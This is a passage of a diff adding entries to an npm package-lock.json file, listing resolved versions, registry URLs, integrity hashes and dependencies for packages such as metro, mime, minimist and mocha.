"@babel/plugin-transform-typescript": "^7.5.0", + "@babel/plugin-transform-unicode-regex": "^7.0.0", + "@babel/template": "^7.0.0", + "react-refresh": "^0.4.0" + }, + "peerDependencies": { + "@babel/core": "*" + } + }, + "node_modules/metro-resolver": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-resolver/-/metro-resolver-0.73.8.tgz", + "integrity": "sha512-GiBWont7/OgAftkkj2TiEp+Gf1PYZUk8xV4MbtnQjIKyy3MlGY3GbpMQ1BHih9GUQqlF0n9jsUlC2K5P0almXQ==", + "peer": true, + "dependencies": { + "absolute-path": "^0.0.0" + } + }, + "node_modules/metro-runtime": { + "version": "0.73.7", + "resolved": "https://registry.npmjs.org/metro-runtime/-/metro-runtime-0.73.7.tgz", + "integrity": "sha512-2fxRGrF8FyrwwHY0TCitdUljzutfW6CWEpdvPilfrs8p0PI5X8xOWg8ficeYtw+DldHtHIAL2phT59PqzHTyVA==", + "peer": true, + "dependencies": { + "@babel/runtime": "^7.0.0", + "react-refresh": "^0.4.0" + } + }, + "node_modules/metro-source-map": { + "version": "0.73.7", + "resolved": "https://registry.npmjs.org/metro-source-map/-/metro-source-map-0.73.7.tgz", + "integrity": "sha512-gbC/lfUN52TtQhEsTTA+987MaFUpQlufuCI05blLGLosDcFCsARikHsxa65Gtslm/rG2MqvFLiPA5hviONNv9g==", + "peer": true, + "dependencies": { + "@babel/traverse": "^7.20.0", + "@babel/types": "^7.20.0", + "invariant": "^2.2.4", + "metro-symbolicate": "0.73.7", + "nullthrows": "^1.1.1", + "ob1": "0.73.7", + "source-map": "^0.5.6", + "vlq": "^1.0.0" + } + }, + "node_modules/metro-source-map/node_modules/metro-symbolicate": { + "version": "0.73.7", + "resolved": "https://registry.npmjs.org/metro-symbolicate/-/metro-symbolicate-0.73.7.tgz", + "integrity": "sha512-571ThWmX5o8yGNzoXjlcdhmXqpByHU/bSZtWKhtgV2TyIAzYCYt4hawJAS5+/qDazUvjHdm8BbdqFUheM0EKNQ==", + "peer": true, + "dependencies": { + "invariant": "^2.2.4", + "metro-source-map": "0.73.7", + "nullthrows": "^1.1.1", + "source-map": "^0.5.6", + "through2": "^2.0.1", + "vlq": "^1.0.0" + }, + "bin": { + "metro-symbolicate": "src/index.js" + }, + "engines": { + "node": ">=8.3" + } + }, + "node_modules/metro-symbolicate": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-symbolicate/-/metro-symbolicate-0.73.8.tgz", + "integrity": "sha512-xkBAcceYYp0GGdCCuMzkCF1ejHsd0lYlbKBkjSRgM0Nlj80VapPaSwumYoAvSaDxcbkvS7/sCjURGp5DsSFgRQ==", + "peer": true, + "dependencies": { + "invariant": "^2.2.4", + "metro-source-map": "0.73.8", + "nullthrows": "^1.1.1", + "source-map": "^0.5.6", + "through2": "^2.0.1", + "vlq": "^1.0.0" + }, + "bin": { + "metro-symbolicate": "src/index.js" + }, + "engines": { + "node": ">=8.3" + } + }, + "node_modules/metro-symbolicate/node_modules/metro-source-map": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-source-map/-/metro-source-map-0.73.8.tgz", + "integrity": "sha512-wozFXuBYMAy7b8BCYwC+qoXsvayVJBHWtSTlSLva99t+CoUSG9JO9kg1umzbOz28YYPxKmvb/wbnLMkHdas2cA==", + "peer": true, + "dependencies": { + "@babel/traverse": "^7.20.0", + "@babel/types": "^7.20.0", + "invariant": "^2.2.4", + "metro-symbolicate": "0.73.8", + "nullthrows": "^1.1.1", + "ob1": "0.73.8", + "source-map": "^0.5.6", + "vlq": "^1.0.0" + } + }, + "node_modules/metro-symbolicate/node_modules/ob1": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/ob1/-/ob1-0.73.8.tgz", + "integrity": "sha512-1F7j+jzD+edS6ohQP7Vg5f3yiIk5i3x1uLrNIHOmLHWzWK1t3zrDpjnoXghccdVlsU+UjbyURnDynm4p0GgXeA==", + "peer": true + }, + "node_modules/metro-transform-plugins": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-transform-plugins/-/metro-transform-plugins-0.73.8.tgz", + "integrity": "sha512-IxjlnB5eA49M0WfvPEzvRikK3Rr6bECUUfcZt/rWpSphq/mttgyLYcHQ+VTZZl0zHolC3cTLwgoDod4IIJBn1A==", + "peer": true, + "dependencies": { + "@babel/core": "^7.20.0", + "@babel/generator": "^7.20.0", + "@babel/template": "^7.0.0", + "@babel/traverse": "^7.20.0", + "nullthrows": "^1.1.1" + } + }, + "node_modules/metro-transform-worker": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-transform-worker/-/metro-transform-worker-0.73.8.tgz", + "integrity": "sha512-B8kR6lmcvyG4UFSF2QDfr/eEnWJvg0ZadooF8Dg6m/3JSm9OAqfSoC0YrWqAuvtWImNDnbeKWN7/+ns44Hv6tg==", + "peer": true, + "dependencies": { + "@babel/core": "^7.20.0", + "@babel/generator": "^7.20.0", + "@babel/parser": "^7.20.0", + "@babel/types": "^7.20.0", + "babel-preset-fbjs": "^3.4.0", + "metro": "0.73.8", + "metro-babel-transformer": "0.73.8", + "metro-cache": "0.73.8", + "metro-cache-key": "0.73.8", + "metro-hermes-compiler": "0.73.8", + "metro-source-map": "0.73.8", + "metro-transform-plugins": "0.73.8", + "nullthrows": "^1.1.1" + } + }, + "node_modules/metro-transform-worker/node_modules/metro-source-map": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-source-map/-/metro-source-map-0.73.8.tgz", + "integrity": "sha512-wozFXuBYMAy7b8BCYwC+qoXsvayVJBHWtSTlSLva99t+CoUSG9JO9kg1umzbOz28YYPxKmvb/wbnLMkHdas2cA==", + "peer": true, + "dependencies": { + "@babel/traverse": "^7.20.0", + "@babel/types": "^7.20.0", + "invariant": "^2.2.4", + "metro-symbolicate": "0.73.8", + "nullthrows": "^1.1.1", + "ob1": "0.73.8", + "source-map": "^0.5.6", + "vlq": "^1.0.0" + } + }, + "node_modules/metro-transform-worker/node_modules/ob1": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/ob1/-/ob1-0.73.8.tgz", + "integrity": "sha512-1F7j+jzD+edS6ohQP7Vg5f3yiIk5i3x1uLrNIHOmLHWzWK1t3zrDpjnoXghccdVlsU+UjbyURnDynm4p0GgXeA==", + "peer": true + }, + "node_modules/metro/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/metro/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/metro/node_modules/async": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.4.tgz", + "integrity": "sha512-iAB+JbDEGXhyIUavoDl9WP/Jj106Kz9DEn1DPgYw5ruDn0e3Wgi3sKFm55sASdGBNOQB8F59d9qQ7deqrHA8wQ==", + "peer": true + }, + "node_modules/metro/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/metro/node_modules/ci-info": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz", + "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==", + "peer": true + }, + "node_modules/metro/node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "peer": true, + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/metro/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/metro/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/metro/node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "peer": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/metro/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "peer": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/metro/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/metro/node_modules/image-size": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/image-size/-/image-size-0.6.3.tgz", + "integrity": "sha512-47xSUiQioGaB96nqtp5/q55m0aBQSQdyIloMOc/x+QVTDZLNmXE892IIDrJ0hM1A5vcNUDD5tDffkSP5lCaIIA==", + "peer": true, + "bin": { + "image-size": "bin/image-size.js" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/metro/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/metro/node_modules/metro-runtime": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-runtime/-/metro-runtime-0.73.8.tgz", + "integrity": "sha512-M+Bg9M4EN5AEpJ8NkiUsawD75ifYvYfHi05w6QzHXaqOrsTeaRbbeLuOGCYxU2f/tPg17wQV97/rqUQzs9qEtA==", + "peer": true, + "dependencies": { + "@babel/runtime": "^7.0.0", + "react-refresh": "^0.4.0" + } + }, + "node_modules/metro/node_modules/metro-source-map": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-source-map/-/metro-source-map-0.73.8.tgz", + "integrity": "sha512-wozFXuBYMAy7b8BCYwC+qoXsvayVJBHWtSTlSLva99t+CoUSG9JO9kg1umzbOz28YYPxKmvb/wbnLMkHdas2cA==", + "peer": true, + "dependencies": { + "@babel/traverse": "^7.20.0", + "@babel/types": "^7.20.0", + "invariant": "^2.2.4", + "metro-symbolicate": "0.73.8", + "nullthrows": "^1.1.1", + "ob1": "0.73.8", + "source-map": "^0.5.6", + "vlq": "^1.0.0" + } + }, + "node_modules/metro/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "peer": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/metro/node_modules/node-fetch": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.9.tgz", + "integrity": "sha512-DJm/CJkZkRjKKj4Zi4BsKVZh3ValV5IR5s7LVZnW+6YMh0W1BfNA8XSs6DLMGYlId5F3KnA70uu2qepcR08Qqg==", + "peer": true, + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/metro/node_modules/ob1": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/ob1/-/ob1-0.73.8.tgz", + "integrity": "sha512-1F7j+jzD+edS6ohQP7Vg5f3yiIk5i3x1uLrNIHOmLHWzWK1t3zrDpjnoXghccdVlsU+UjbyURnDynm4p0GgXeA==", + "peer": true + }, + "node_modules/metro/node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "peer": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/metro/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "peer": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/metro/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "peer": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/metro/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/metro/node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/metro/node_modules/ws": { + "version": "7.5.9", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "peer": true, + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/metro/node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "peer": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/metro/node_modules/yargs": { + "version": "17.7.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.1.tgz", + "integrity": "sha512-cwiTb08Xuv5fqF4AovYacTFNxk62th7LKJ6BL9IGUpTJrWoU7/7WdQGTP2SjKf1dUNBGzDd28p/Yfs/GI6JrLw==", + "peer": true, + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/metro/node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "peer": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/micromatch": { + "version": "2.3.11", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-2.3.11.tgz", + "integrity": "sha1-hmd8l9FyCzY0MdBNDRUpO9OMFWU=", + "dev": true, + "dependencies": { + "arr-diff": "^2.0.0", + "array-unique": "^0.2.1", + "braces": "^1.8.2", + "expand-brackets": "^0.1.4", + "extglob": "^0.3.1", + "filename-regex": "^2.0.0", + "is-extglob": "^1.0.0", + "is-glob": "^2.0.1", + "kind-of": "^3.0.2", + "normalize-path": "^2.0.1", + "object.omit": "^2.0.0", + "parse-glob": "^3.0.4", + "regex-cache": "^0.4.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/miller-rabin": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/miller-rabin/-/miller-rabin-4.0.0.tgz", + "integrity": "sha1-SmL7HUKTPAVYOYL0xxb2+55sbT0=", + "dev": true, + "dependencies": { + "bn.js": "^4.0.0", + "brorand": "^1.0.1" + }, + "bin": { + "miller-rabin": "bin/miller-rabin" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-fn": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz", + "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/mimic-response": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.0.tgz", + "integrity": "sha1-3z02Uqc/3ta5sLJBRub9BSNTRY4=", + "dev": true, + "optional": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/minimalistic-assert": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.0.tgz", + "integrity": "sha1-cCvi3aazf0g2vLP121ZkG2Sh09M=", + "dev": true + }, + "node_modules/minimalistic-crypto-utils": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz", + "integrity": "sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=", + "dev": true + }, + "node_modules/minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", + "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/mississippi": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-2.0.0.tgz", + "integrity": "sha512-zHo8v+otD1J10j/tC+VNoGK9keCuByhKovAvdn74dmxJl9+mWHnx6EMsDN4lgRoMI/eYo2nchAxniIbUPb5onw==", + "dev": true, + "dependencies": { + "concat-stream": "^1.5.0", + "duplexify": "^3.4.2", + "end-of-stream": "^1.1.0", + "flush-write-stream": "^1.0.0", + "from2": "^2.1.0", + "parallel-transform": "^1.1.0", + "pump": "^2.0.1", + "pumpify": "^1.3.3", + "stream-each": "^1.1.0", + "through2": "^2.0.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/mixin-deep": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.1.tgz", + "integrity": "sha512-8ZItLHeEgaqEvd5lYBXfm4EZSFCX29Jb9K+lAHhDKzReKBQKj3R+7NOF6tjqYi9t4oI8VUfaWITJQm86wnXGNQ==", + "deprecated": "Critical bug fixed in v2.0.1, please upgrade to the latest version.", + "dependencies": { + "for-in": "^1.0.2", + "is-extendable": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/mixin-deep/node_modules/is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dependencies": { + "is-plain-object": "^2.0.4" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/mixin-object": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/mixin-object/-/mixin-object-2.0.1.tgz", + "integrity": "sha1-T7lJRB2rGCVA8f4DW6YOGUel5X4=", + "dev": true, + "dependencies": { + "for-in": "^0.1.3", + "is-extendable": "^0.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/mixin-object/node_modules/for-in": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/for-in/-/for-in-0.1.8.tgz", + "integrity": "sha1-2Hc5COMSVhCZUrH9ubP6hn0ndeE=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/mocha": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/mocha/-/mocha-6.2.3.tgz", + "integrity": "sha512-0R/3FvjIGH3eEuG17ccFPk117XL2rWxatr81a57D+r/x2uTYZRbdZ4oVidEUMh2W2TJDa7MdAb12Lm2/qrKajg==", + "dev": true, + "dependencies": { + "ansi-colors": "3.2.3", + "browser-stdout": "1.3.1", + "debug": "3.2.6", + "diff": "3.5.0", + "escape-string-regexp": "1.0.5", + "find-up": "3.0.0", + "glob": "7.1.3", + "growl": "1.10.5", + "he": "1.2.0", + "js-yaml": "3.13.1", + "log-symbols": "2.2.0", + "minimatch": "3.0.4", + "mkdirp": "0.5.4", + "ms": "2.1.1", + "node-environment-flags": "1.0.5", + "object.assign": "4.1.0", + "strip-json-comments": "2.0.1", + "supports-color": "6.0.0", + "which": "1.3.1", + "wide-align": "1.1.3", + "yargs": "13.3.2", + "yargs-parser": "13.1.2", + "yargs-unparser": "1.6.0" + }, + "bin": { + "_mocha": "bin/_mocha", + "mocha": "bin/mocha" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/mocha-junit-reporter": { + "version": "1.23.1", + "resolved": "https://registry.npmjs.org/mocha-junit-reporter/-/mocha-junit-reporter-1.23.1.tgz", + "integrity": "sha512-qeDvKlZyAH2YJE1vhryvjUQ06t2hcnwwu4k5Ddwn0GQINhgEYFhlGM0DwYCVUHq5cuo32qAW6HDsTHt7zz99Ng==", + "dev": true, + "dependencies": { + "debug": "^2.2.0", + "md5": "^2.1.0", + "mkdirp": "~0.5.1", + "strip-ansi": "^4.0.0", + "xml": "^1.0.0" + }, + "peerDependencies": { + "mocha": ">=2.2.5" + } + }, + "node_modules/mocha-junit-reporter/node_modules/ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/mocha-junit-reporter/node_modules/strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "dependencies": { + "ansi-regex": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mocha/node_modules/ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/mocha/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mocha/node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/mocha/node_modules/cliui": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz", + "integrity": 